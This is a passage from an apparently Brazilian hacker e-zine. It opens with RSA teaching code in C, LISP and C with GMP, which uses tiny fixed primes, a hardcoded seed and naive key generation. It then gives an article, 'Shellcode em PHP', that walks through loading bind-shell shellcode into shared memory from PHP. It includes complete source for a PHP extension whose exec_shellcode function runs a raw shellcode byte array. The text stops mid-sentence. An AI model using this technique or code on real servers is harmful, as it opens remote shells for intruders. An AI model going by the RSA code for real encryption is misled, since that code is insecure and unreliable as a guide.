u2 = v2;
u3 = v3;
v2 = t2;
v3 = t3;
}
printf("u2 = %d u3 = %d\n", u2, u3);
if (u2 < 0)
return (ULONG)u2 + PHI;
else
return (ULONG)u2;
}
/******************************************************************************/
/* Calculo do GREATEST COMMON DIVISOR */
/* ou seja, Maior Divisor Comum ou MDC */
/******************************************************************************/
ULONG RSA_GCD( ULONG e, ULONG PHI ) {
ULONG a, great;
if (e > PHI) {
while (e%PHI != 0) {
a = e%PHI;
e = PHI;
PHI = a;
}
great = PHI;
} else {
while (PHI%e != 0) {
a = PHI%e;
PHI = e;
e = a;
}
great = e;
}
return great;
}
/******************************************************************************/
/* Calculo necessario para encontrar o E da formula: */
/* E satisfaz a condição: MDC( E, PHI ) == 1 */
/******************************************************************************/
ULONG RSA_tofindE( ULONG PHI, ULONG P, ULONG Q ) {
ULONG great;
ULONG e;
great = 0;
e = 2;
while (great != 1) {
e = e + 1;
great = RSA_GCD(e,PHI);
}
return e;
}
/******************************************************************************/
/* Aqui vamos usar os numeros primos PRIMO1 e PRIMO2 definidos lah em cima */
/* para gerar as chaves publicas e privadas */
/******************************************************************************/
void RSA_generateKey( RSA_KEY * key ){
ULONG P, Q, PHI;
P = PRIMO1 ;
Q = PRIMO2 ;
PHI = (P - 1) * (Q - 1);
key->publicKey.E = RSA_tofindE( PHI, P, Q );
key->publicKey.N = P * Q;
key->D = RSA_extend( key->publicKey.E, PHI );
printf( "PHI %u ", PHI );
printf( " N %u ", key->publicKey.N );
printf( " E %u ",key->publicKey.E );
printf( " D %u ",key->D );
printf( "\n\n" );
}
/******************************************************************************/
/* Funcao usada para encriptar um numero ULONG data */
/* precisamos apenas da chave publica */
/* */
/* Cripted = Message^E mod N; */
/******************************************************************************/
ULONG RSA_PublicEncrypt( ULONG data, RSA_PublicKEY publicKey ){
ULONG C, F, i;
/* Metodo ruin:
C = (ULONG)pow(data, publicKey.E) % publicKey.N;
Este metodo eh ruin pois vc vai elevar um numero grande a outro muito
grande e depois com esse resultado vai fazer um modulo pelo numero N
Ao inves de fazer assim, podemos simplismente fazer um loop onde vamos
multiplicando o numero por ele mesmo e jah vai fazendo modulo por N
Assim economizamos precisao, pois nunca teremos um numero super
gigantesco, ele vai ficar sempre no maximo do tamanho de N
*/
if ( publicKey.E % 2 == 0) {
C = 1;
F = (data*data) % publicKey.N;
for ( i = 1; i <= publicKey.E/2; i++) {
C = (F*C) % publicKey.N;
}
} else {
C = data;
F = (data*data) % publicKey.N;
for ( i = 1; i <= publicKey.E/2; i++) {
C = (F*C) % publicKey.N;
}
}
printf( " %u Encripted is:", data );
printf(" %u \n", C );
return C;
}
/******************************************************************************/
/* funcao usada para desencriptar um numero ULONG C */
/* Precisaremos da chave privada */
/* */
/* Message = Cripted^D mod N */
/******************************************************************************/
ULONG RSA_PrivateDecrypt( ULONG C, RSA_KEY key ){
ULONG G, F;
ULONG i;
/* metodo Ruin:
G = (ULONG)(pow( C, key.D )) % key.publicKey.N;
pelo mesmo motivo anterior
*/
if ( key.D % 2 == 0) {
G = 1;
F = (C*C) % key.publicKey.N;
for ( i = 1; i <= key.D/2; i++) {
G = (F*G) % key.publicKey.N;
}
} else {
G = C;
F = (C*C) % key.publicKey.N;
for ( i = 1; i <= key.D/2; i++) {
G = (F*G) % key.publicKey.N;
}
}
printf( " %u Decripted is:", C );
printf( " %u \n\n", G );
}
/* Fuckin Main Function */
int main(){
RSA_KEY key; /* declaracao da nossa chave */
printf("\n");
RSA_generateKey( &key ); /* Geramos a chave */
/* Encriptamos o numero 123456789 */
ULONG c = RSA_PublicEncrypt( (ULONG)(123456789), key.publicKey );
/* Pegamos o numero encriptado e descriptografamos para ver se fica
igual ao inicial */
RSA_PrivateDecrypt( c, key );
printf("\n");
return 0;
}
/******************************************************************************/
/* END OF SIMPLE RSA IN C */
/******************************************************************************/
--------------------------------------------------
6.2 :: Simple RSA in LISP
--------------------------------------------------
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; SIMPLE RSA IN LISP ;;
;; By RoOtLiQuId ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; ;;
;; ESTA VERSAO ESTA IMPLEMENTADA DE FORMA BEM SIMPLES, MAS O LISP USA ;;
;; ARITMETICA ABITRARIA POR PADRAO, POR ISSO PODEMOS GERAR CHAVES RSA DE ;;
;; QUAISQUER TAMANHOS DE BITS: 512, 1024, 2048, MAS EU PERCEBI QUE CHAVES ;;
;; MAIORES QUE 64 BITS FAZEM OS CALCULOS FICAREM MUITO LENTOS, POIS NESSA ;;
;; IMPLEMENTACAO EU NAO OTIMIZEI NADA ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Esquema do RSA: ;;
;; Chave P?blica: E e N ;;
;; Chave Privada: D e N ;;
;; ;;
;; N = P * Q ;;
;; PHI = (P-1)*(Q-1) ;;
;; E satisfaz a condi??o: MDC( E, PHI ) == 1 ;;
;; D satisfaz a condi??o: ( E*D ) % PHI == 1 ;;
;; ;;
;; Encriptando: ;;
;; C = M^E mod N ;;
;; ;;
;; Desencriptando: ;;
;; M = C^D mod N ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; findE_helper
;;; Desc: Funcao auxiliar de findE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(defun findE_helper ( phi p q great e )
(if (= great 1)
(- e 1)
(findE_helper phi p q (GCD e phi) (+ e 1) )
)
)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; findE
;;; Desc: Funcao usada para encontrar o valor de E que satizfaz a
;;; condicao MDC( E, PHI ) == 1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(defun findE ( phi p q )
(findE_helper phi p q 0 2 )
)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; extend_helper
;;; Desc: Funcao auxiliar de extend
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(defun extend_helper( e phi u2 u3 v2 v3 )
(let ( (q (floor (/ u3 v3 ) ) ) )
(let ( (t2 (- u2 (* q v2 ) ) )
(t3 (- u3 (* q v3 ) ) )
)
(if (not (= t3 0) )
(extend_helper e phi v2 v3 t2 t3 )
(if (< v2 0)
(+ v2 phi)
v2
)
)
)
)
)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; extend
;;; Desc: Funcao baseada no extended euclidian algorithm para
;;; encontrar D tal que D satisfaz a condi??o: ( E*D ) % PHI == 1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(defun extend( e phi )
(extend_helper e phi 0 phi 1 e )
)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; expt_mod_helper
;;; Desc: Funcao auxiliar de expt_mod
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(defun expt_mod_helper( x y n k )
(if (= y 1)
k
(expt_mod_helper x (- y 1) n (mod (* k x ) n ) )
)
)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; expt_mod
;;; Desc: Funcao gambiarra matematica usada pra fazer x^y % n
;;; sem precisar calcular o valor de x^y, pois esse valor poderia
;;; ser muito alto.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(defun expt_mod( x y n )
(expt_mod_helper x y n x )
)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; encript
;;; Desc: Funcao usada para encriptar um dado numero com a chave
;;; publica E e N previamente calculada
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(defun encript ( number e n )
;(mod (expt number e) n)
(expt_mod number e n )
)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; decript
;;; Desc: Funcao usada para desencriptar um dado numero com a chave
;;; privada D e N previamente calculada
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(defun decript ( number d n )
;(mod (expt number d) n)
(expt_mod number d n )
)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; chamadas e calculos:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Numeros Primos definidos
(setf P 1021 )
(setf Q 2689 )
(setf N (* P Q) )
(setf PHI (* (- P 1 ) (- Q 1 ) ) )
(setf E (findE PHI P Q ) )
(setf D (extend E PHI ) )
'Encriptando_o_numero_1234567
(setf enc (encript 1234567 E N ) )
'Decriptando
(setf dec (decript enc D N ) )
'resultado
dec
(quit)
--------------------------------------------------
6.3 :: COMPLETE RSA IN C USING GNU MP LIBRARY
--------------------------------------------------
/******************************************************************************/
/* COMPLETE RSA IN C USING GNU MP LIBRARY */
/* BY RoOtLiQuId */
/******************************************************************************/
/* NESTA VERSAO EU USO A GNU MP LIBRARY PARA FAZER OS CALCULOS COM PRECISAO */
/* ABITRARIA, OU SEJA, PODEMOS FAZER CALCULOS COM NUMEROS MAIORES QUE 64 BITS */
/* PORTANTO DAH PRA FAZER RSA COM CHAVES BEM GRANDES, 512, 1024, */
/* 2048 BITS E MAIORES */
/* */
/* PARA SABER MAIS E BAIXAR A GNU MP ENTRE EM: */
/* http://www.swox.com/gmp/ */
/******************************************************************************/
/* */
/* OBSERVACOES: */
/* Esse programa pode usar qualquer quantidade de bits para */
/* gerar as chaves RSA */
/* Ele apenas encripta e desencripta um numero qualquer com o tamanho maximo */
/* de bits da chave RSA */
/* Para encriptar um texto ou um arquivo qualquer voce vai ter que fazer uma */
/* funcao que quebre o texto ou arquivo em varios pedacos e codifique esses */
/* pedacos em numeros que serao encriptados, de forma que posteriormente esses*/
/* numeros possam ser convertidos novamente no texto ou no arquivo original */
/* */
/* Se eu tiver tempo, depois vou fazer uma versao completa que pode encriptar */
/* e descriptar qualquer arquivo ou texto ou outro tipo de dados */
/******************************************************************************/
#include
#include
#include
typedef struct RSA_PublicKEY {
mpz_t N;
mpz_t E;
} RSA_PublicKEY;
typedef struct RSA_KEY {
/* Private Key : */ mpz_t D;
RSA_PublicKEY publicKey;
} RSA_KEY;
/******************************************************************************/
/* Gerar os dois numeros primos randonomicos */
/******************************************************************************/
void genRandomPrimes( mpz_t* prime1, mpz_t* prime2, char* seed_num,
unsigned long int seed_tick, unsigned int keySize )
{
gmp_randstate_t state;
mpz_t rand_number;
mpz_t seed;
mpz_init ( rand_number );
gmp_randinit_default( state );
printf( "%s", seed_num );
if( mpz_init_set_str (seed, seed_num, 10) != 0 ){
printf( "Erro fazendo mpz_init_set_str \n" );
exit(0);
}
if( seed_tick <=0 )
seed_tick = 1;
mpz_mul_ui( seed, seed, seed_tick );
gmp_randseed( state, seed );
mpz_urandomb( rand_number, state, keySize/2 );
mpz_nextprime( *prime1, rand_number);
mpz_nextprime( *prime2, *prime1);
gmp_randclear( state );
mpz_clear( seed );
mpz_clear( rand_number );
}
/******************************************************************************/
/* Calcular o E */
/******************************************************************************/
void toFindE( mpz_t* PHI, mpz_t* e )
{
mpz_t great;
mpz_init_set_ui ( great , 0 );
mpz_set_ui ( *e, 2 );
while ( mpz_cmpabs_ui( great, 1) != 0 ) {
mpz_add_ui ( *e, *e, 1);
mpz_gcd ( great, *e , *PHI);
}
mpz_clear( great );
}
/******************************************************************************/
/* Calcular o D */
/******************************************************************************/
void extend( mpz_t* E, mpz_t* PHI, mpz_t* D) {
mpz_t q, u2, u3, v2, v3, t2, t3;
mpz_init( q );
mpz_init( u2 );
mpz_init( u3 );
mpz_init( v2 );
mpz_init( v3 );
mpz_init( t2 );
mpz_init( t3 );
mpz_set_ui (u2, 0);
mpz_set (u3, *PHI);
mpz_set_ui (v2, 1);
mpz_set (v3, *E);
while ( mpz_sgn( v3 ) != 0 )
{
mpz_cdiv_q ( q, u3, v3);
mpz_set (t2, u2);
mpz_submul (t2, q, v2); /* t2 = t2 - q times v2. */
mpz_set (t3, u3);
mpz_submul (t3, q, v3); /* t3 = t3 - q times v3. */
mpz_set (u2, v2);
mpz_set (u3, v3);
mpz_set (v2, t2);
mpz_set (v3, t3);
}
if ( mpz_sgn( u2 ) < 0)
mpz_add ( *D, u2, *PHI);
else
mpz_set (*D, u2);
mpz_clear( q );
mpz_clear( u2 );
mpz_clear( u3 );
mpz_clear( v2 );
mpz_clear( v3 );
mpz_clear( t2 );
mpz_clear( t3 );
}
/******************************************************************************/
/* Gerar a chave, sem verificar se eh uma chave que funciona */
/******************************************************************************/
void makeKey( RSA_KEY* key, char* seed_num,
unsigned long int seed_tick, unsigned int keySize )
{
mpz_t prime1, prime2, prime1b, prime2b;
mpz_t PHI;
mpz_init ( prime1 );
mpz_init ( prime2 );
mpz_init ( PHI );
mpz_init ( key->publicKey.N );
mpz_init ( key->publicKey.E );
mpz_init ( key->D );
genRandomPrimes( &prime1, &prime2, seed_num, seed_tick, keySize );
printf( "Prime1 = %s \n", mpz_get_str (NULL, 10, prime1) );
printf( "Prime2 = %s \n", mpz_get_str (NULL, 10, prime2) );
/* N = P * Q */
mpz_mul ( key->publicKey.N, prime1, prime2);
printf( "N = %s \n", mpz_get_str (NULL, 10, key->publicKey.N) );
/* PHI = (P-1)*(Q-1) */
mpz_init ( prime1b );
mpz_init ( prime2b );
mpz_sub_ui( prime1b, prime1, 1);
mpz_sub_ui( prime2b, prime2, 1);
mpz_mul ( PHI, prime1b, prime2b );
mpz_clear( prime1b );
mpz_clear( prime2b );
printf( "PHI = %s \n", mpz_get_str (NULL, 10, PHI) );
/* E satisfaz a condição: MDC( E, PHI ) == 1 */
toFindE( &PHI, &key->publicKey.E );
printf( "E = %s \n", mpz_get_str (NULL, 10, key->publicKey.E) );
/* D satisfaz a condição: ( E*D ) % PHI == 1 */
extend( &key->publicKey.E, &PHI, &key->D );
printf( "D = %s \n", mpz_get_str (NULL, 10, key->D) );
mpz_clear( prime1 );
mpz_clear( prime2 );
mpz_clear( PHI );
}
/******************************************************************************/
/* Encriptar */
/******************************************************************************/
void publicEncrypt( mpz_t data, RSA_PublicKEY publicKey, mpz_t cripted )
{
mpz_powm ( cripted, data, publicKey.E, publicKey.N);
}
/******************************************************************************/
/* Decriptar */
/******************************************************************************/
void publicDecrypt( mpz_t cripted, RSA_KEY key, mpz_t data )
{
mpz_powm ( data, cripted, key.D, key.publicKey.N);
}
/******************************************************************************/
/* Gerar a chave, e verificar se eh uma chave que funciona, se nao for, */
/* gera outra aumentando o seed_tick */
/* Eu tive que fazer isso, pois a funcao que gera os dois numeros primos pode */
/* errar, ela nao eh 100% confiavel, ela pode gerar um numero que nao eh primo*/
/* e o algoritmo do RSA soh funciona quando os dois numeros sao primos */
/* verdadeiros, por isso temos que testar se a chave funciona */
/******************************************************************************/
void InitAndMakeValidKey( RSA_KEY* key, char* seed_num, unsigned int keySize )
{
unsigned long int seed_tick = 1;
mpz_t data, cripted, decripted;
mpz_init( cripted );
mpz_init( decripted );
mpz_init_set_str( data, "12345", 10);
do{
makeKey( key, seed_num, seed_tick, keySize );
publicEncrypt( data, key->publicKey, cripted );
publicDecrypt( cripted, *key, decripted );
seed_tick++;
}while( mpz_cmp( data, decripted ) != 0 );
}
/* Fuckin Main Function */
int main()
{
/* OBS: a random seed deve ser uma string de um numero bem grande */
/* O melhor seria pedir pro usuario entrar com um numero aleatorio */
#define RANDOM_SEED "9423477068029340805793923728080760045047333655414855309485"
/* Tamanho em BITS da chave RSA */
#define KEY_SIZE 1024
RSA_KEY key;
InitAndMakeValidKey( &key, RANDOM_SEED, KEY_SIZE );
mpz_t data, cripted, decripted;
mpz_init( cripted );
mpz_init( decripted );
/* Inicializar os dados que serao encriptados */
mpz_init_set_str( data, "55555555555555555555555555555555555555555555", 10);
printf( "\n\n\n" );
printf( "N = %s \n", mpz_get_str (NULL, 10, key.publicKey.N) );
printf( "DATA = %s \n", mpz_get_str (NULL, 10, data) );
/* encriptar */
publicEncrypt( data, key.publicKey, cripted );
publicDecrypt( cripted, key, decripted );
/* decriptar */
printf( "CRIPTED = %s \n", mpz_get_str (NULL, 10, cripted) );
printf( "DECRIPTED = %s \n", mpz_get_str (NULL, 10, decripted) );
return 0;
}
/******************************************************************************/
/* END OF COMPLETE RSA IN C USING GNU MP LIBRARY */
/******************************************************************************/
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[04]-=[Shellcode em PHP]-=|tDs|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
________________
| [1] INTRODUÇÃO |
`================
Sometimes, PHP "as is" simply isn't enough. Although these cases are rare
for the average user, professional applications will soon lead PHP to the edge
of its capabilities, in terms of either speed or functionality. New
functionality cannot always be implemented natively due to language
restrictions and inconveniences that arise when having to carry around a huge
library of default code appended to every single script, so another method
needs to be found for overcoming these eventual lacks in PHP.
As soon as this point is reached, it's time to touch the heart of PHP and
take a look at its core, the C code that makes PHP go.
http://www.zend.com/apidoc/zend.php
External modules can be loaded at script runtime using the function dl().
This function loads a shared object from disk and makes its functionality
available to the script to which it's being bound. After the script is
terminated, the external module is discarded from memory.
http://www.zend.com/apidoc/zend.possibilities.php
A criação de módulos em PHP pode ser algo muito interessante, desde que
os propósitos desta criação sejam interessantes. Ultrapassar os limites de
alguma coisa normalmente é interessante. Então, podemos tentar ultrapassar os
limites do PHP e executar shellcodes em scripts nesta linguagem.
____________________________________________
| [2] O QUE SERÁ NECESSÁRIO E COMO SERÁ FEITO|
`============================================
Para executarmos um shellcode utilizando um script em PHP, serão
necessários dois itens:
- O shellcode que se deseja executar;
- Alguma função que execute shellcodes armazenados em segmentos de memória
compartilhada.
O primeiro item é fácil de se adquirir (seja fazendo um "na unha" ou
procurando no google). Para o segundo, existe uma ferramenta desenvolvida
pelo sloth do nopninjas (encontrei esta ferramenta no site
http://www.shellcode.com.ar/linux/lnx-shm_shell.c ). Usarei ele, com algumas
modificações.
Será feito da seguinte forma:
1 - Primeiro, deve-se colocar o shellcode em um segmento de memória
compartilhada em um determinado id. Para fazer isso são necessários dois passos:
a) Criar o segmento de memória compartilhada, utilizando a função
shmop_open (). Uma breve descrição desta função, do manual do php:
int shmop_open ( int key, string flags, int mode, int size)
shmop_open() pode criar ou abrir um bloco de memória compartilhada.
shmop_open() pega 4 parâmetros: chave, que é usado pelo id do sistema para
o bloco de memória compartilhada, esse parâmetro pode ser passado como
decimal ou hexadecimal. O segundo parâmetro são flags que você pode usar:
* "a" para acesso (seta SHM_RDONLY para shmat) use essa flag quando você
precisar abrir um bloco de memória compartilhada existente como somente
leitura
* "c" para criar (seta IPC_CREATE) use essa flag quando você precisar criar
um novo bloco de memória compartilhada ou se um segmento com a mesma chave
existir, tente abrir isso para ler e escrever
* "w" para ler & acesso à escrita use essa flag quando você precisar ler e
escrever para um segmento de bloco de memória compartilhada, use essa flag
na maior parte dos casos.
* "n" cria um novo segmento de memória (seta IPC_CREATE|IPC_EXCL) use essa
flag quando você quer criar um novo segmento de memória compartilhada mas
se um já existir com a mesma flag, irá falhar. Isso é útil para propósitos
de segurança, usando isso você pode previnir rápidos exploits.
O terceiro parâmetro é o modo, que são permissões que você deseja designar
para o seu segmento de memória, estas são as mesmas permissões para o
arquivo. Permissões precisam ser passadas no formato octal ex. 0644.
O último parâmetro é o tamanho do bloco de memória compartilhada que você
deseja criar em bytes.
b) Colocar o shellcode no segmento de memória compartilhada criado
anteriormente, utilizando a função shmop_write (). Uma breve descrição
desta função, do manual do php:
int shmop_write ( int shmid, string data, int offset)
shmop_write() irá escrever uma string em um bloco de memória compartilhada.
shmop_write() pega 3 parâmetros: shmid, que é o identificador do bloco de
memória compartilhada criado por shmop_open(), dados, uma string que você
quer escrever em um bloco de memória compartilhada e o último, que
especifica onde começa a escrita de dados dentro do segmento de memória
compartilhada.
2 - Uma vez com o shellcode ja na memória, é necessario executar o conteúdo
deste segmento como se fosse um código executável (e é). Existem dois modos
(sim, existem mais) para se executar o shellcode.
a) Compilar a ferramenta que foi citada acima e executa-la. Mas, se posso
executar um binário que eu mesmo criei no servidor por que eu iria querer
executar um shellcode em memória compartilhada, se eu posso criar um
binário que faça a mesma coisa que o shellcode? Talvez por diversão.
Então, parte-se do suposto que você não pode (ou não quer) executar um
binário através das funções de execução do PHP (system, shell_exec, ...)
ou via linha de comando. Temos então a opção b:
b) Criar uma extensão, em c, que desempenhe o mesmo papel da ferramenta
citada anteriomente. Nesta extensão, exportariamos uma função que, quando
chamada, executasse o segmento de memória compartilhada que fosse indicado.
Por motivos óbvios, será usada a segunda opção.
______________________________________
| [3] COLOCANDO O SHELLCODE NA MEMÓRIA |
`======================================
Esta provavelmente seja a parte mais fácil. Não estarei mostrando como
criar um shellcode, por já ter muito material bom na internet (colocarei
alguns links ao fim do texto, onde você poderá aprender a desenvolver
shellcodes e também pegar alguns exemplos prontos.
Como dito anteriormente, o shellcode será colocado na memória utilizando
as funções de memória compartilhada. Utilizarei um shellcode de uma bindshell.
Vejamos como pode ser feito:
---shellcode_up.php-----------------------------------------------------------
';
/*
Deleta o bloco de memoria compartilhada, 15 segundos apos criar
*/
sleep (15);
if(!shmop_delete($shmAbre)) {
die ("Erro ao deletar bloco.");
}
/*
Fecha o bloco de memoria compartilhada
*/
shmop_close($shmAbre);
echo 'Bloco destruido.
';
?>
---fim de shellcode_up.php----------------------------------------------------
Agora, observando os segmentos de memória compartilhada, antes de executar
o script, temos:
$ whatis ipcs
ipcs (8) - provide information on ipc facilities
$ ipcs -m
------ Shared Memory Segments --------
key shmid owner perms bytes nattch status
0x00000000 11862018 tds 600 393216 2 dest
0x00000000 11894787 tds 600 393216 2 dest
0x00000000 14090244 tds 777 393216 2 dest
0x00000000 22511621 root 644 151552 2 dest
Após a execução do script, temos o seguinte (durante 15 segundos apenas,
conforme informado no script):
$ ipcs -m
------ Shared Memory Segments --------
key shmid owner perms bytes nattch status
0xfacedead 89292801 apache 666 92 1 <-------------.
0x00000000 11862018 tds 600 393216 2 dest |
0x00000000 11894787 tds 600 393216 2 dest |
0x00000000 14090244 tds 777 393216 2 dest |
0x00000000 22511621 root 644 151552 2 dest |
|
nosso shellcode está aqui <-------+
Como nota-se, o segmento foi criado. O proprietário é o usuário apache
(o mesmo que executa o processo do servidor apache) e as permissões de acesso
estão em 666 (as permissões são semelhantes as permissões de acesso a
arquivos), conforme foi indicado no script.
Foi dito que a para a execução de shellcode utilizando scripts em php eram
necessários dois passos:
"Primeiro deve-se colocar o shellcode em um segmento de memória
compartilhada
em um determinado id".
O primeiro passo então já foi concretizado. O shellcode já pode ser
colocado na memória e temos o id do segmento (0xfacedead). O segundo passo é:
"Uma vez com o shellcode já na memória, é necessario executar o conteúdo
deste segmento como se fosse um código executável (e é)".
Como foi visto, a execução deste segmento de memória compartilhada se dará
pela utilização de um módulo. Vamos a criação dele agora.
_______________________
| [4] CRIAÇÃO DO MÓDULO |
`=======================
A criação do módulo será feita utilizando a última versão do PHP (php 5).
Primeiramente será necessário baixar o fonte dele, no endereço
http://br.php.net/get/php-5.0.0.tar.bz2/from/a/mirror . Após copia-lo,
descompacte-o em algum diretório. Descompactei ele em "/tmp/php-5.0.0/".
A criação de módulos não será explicada detalhadamente, pois não é este
o objetivo, então, apenas alguns comentários serão feitos durante este
desenvolvimento.
Uma vez no diretório do fonte do PHP, vemos diversos sub-diretórios. Por
enquanto é necessário apenas entrar no sub-diretório "ext/"
("/tmp/php-5.0.0/ext/"). Ali encontra-se um shellscript que cria o "framework"
básico para a criação do módulo, o ext_skel. A utilização dele é bastante
simples:
tds@matrix:/tmp/php-5.0.0/ext$ ./ext_skel --extname=facedead
Desta forma, será criado um diretório chamado "facedead" juntamente com
oito arquivos e um sub-diretório. Apenas três destes arquivos são importantes,
"config.m4", "facedead.c" e "php_facedead.h". Vejamos agora qual será (não
como ele está logo após a criação, mas como ele deve ficar) o conteúdo de cada
um dos três arquivos:
---config.m4------------------------------------------------------------------
PHP_ARG_WITH(facedead, for facedead support,
[ --with-facedead Include facedead support])
if test "$PHP_FACEDEAD" != "no"; then
PHP_NEW_EXTENSION(facedead, facedead.c, $ext_shared)
fi
---fim de config.m4-----------------------------------------------------------
---php_facedead.h-------------------------------------------------------------
#ifndef PHP_FACEDEAD_H
#define PHP_FACEDEAD_H
extern zend_module_entry facedead_module_entry;
#define phpext_facedead_ptr &facedead_module_entry
#ifdef PHP_WIN32
#define PHP_FACEDEAD_API __declspec(dllexport)
#else
#define PHP_FACEDEAD_API
#endif
#ifdef ZTS
#include "TSRM.h"
#endif
PHP_MINIT_FUNCTION(facedead);
PHP_MSHUTDOWN_FUNCTION(facedead);
PHP_RINIT_FUNCTION(facedead);
PHP_RSHUTDOWN_FUNCTION(facedead);
PHP_MINFO_FUNCTION(facedead);
PHP_FUNCTION(exec_shellcode);
#ifdef ZTS
#define FACEDEAD_G(v) TSRMG(facedead_globals_id, zend_facedead_globals *, v)
#else
#define FACEDEAD_G(v) (facedead_globals.v)
#endif
#endif
---fim de php_facedead.h------------------------------------------------------
---facedead.c-----------------------------------------------------------------
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include "php.h"
#include "php_ini.h"
#include "ext/standard/info.h"
#include "php_facedead.h"
static int le_facedead;
function_entry facedead_functions[] = {
PHP_FE(exec_shellcode, NULL)
{NULL, NULL, NULL}
};
zend_module_entry facedead_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
"facedead",
facedead_functions,
PHP_MINIT(facedead),
PHP_MSHUTDOWN(facedead),
PHP_RINIT(facedead),
PHP_RSHUTDOWN(facedead),
PHP_MINFO(facedead),
#if ZEND_MODULE_API_NO >= 20010901
"0.1",
#endif
STANDARD_MODULE_PROPERTIES
};
#ifdef COMPILE_DL_FACEDEAD
ZEND_GET_MODULE(facedead)
#endif
PHP_MINIT_FUNCTION(facedead)
{
return SUCCESS;
}
PHP_MSHUTDOWN_FUNCTION(facedead)
{
return SUCCESS;
}
PHP_RINIT_FUNCTION(facedead)
{
return SUCCESS;
}
PHP_RSHUTDOWN_FUNCTION(facedead)
{
return SUCCESS;
}
PHP_MINFO_FUNCTION(facedead)
{
php_info_print_table_start();
php_info_print_table_header(1, "facedead by tDs - tds@m...");
php_info_print_table_end();
}
PHP_FUNCTION(exec_shellcode)
{
char shm[] =
"\x31\xff\x31\xf6\x31\xd2\xb9"
"\xad\xde\xce\xfa\x31\xdb\xb3\x17\x31"
"\xc0\xb0\x75\xcd\x80\x31\xff\xbe\xfa\xff\xff\xbf\x31\xd2\x89\xc1"
"\x31\xdb\xb3\x15\x31\xc0\xb0\x75\xcd\x80\xb8\xfa\xff\xff\xbf\xff"
"\x30\xc3";
void (*shell)() = (void *)&shm;
zend_printf ("Shell code executado.");
shell ();
}
---fim de facedead.c----------------------------------------------------------
Resumidamente, temos o arquivo de configuração, um header e o arquivo
principal.
No arquivo principal, temos diversas funcões, algumas requeridas e
outras não. A função que nos interessa é a "PHP_FUNCTION(exec_shellcode)".
Esta função, que estará embutida no módulo, criará uma outra função, acessível
aos scripts em PHP, chamada "exec_shellcode ()". Esta função contém um
"shellcode que executa shellcodes" (!). Em uma parte deste shellcode, temos
o id do segmento de memória compartilhada que contém o nosso shellcode, o que
será executado. O trecho é o seguinte: "\xad\xde\xce\xfa". (A versão
original utiliza a id "0xdeadbeef". A modificação se deu exclusivamente para
que o id tivesse o mesmo nome do projeto). O original se encontra em
http://www.shellcode.com.ar/linux/lnx-shm_shell.c
Após ter os arquivos prontos, iremos trabalhar no diretório
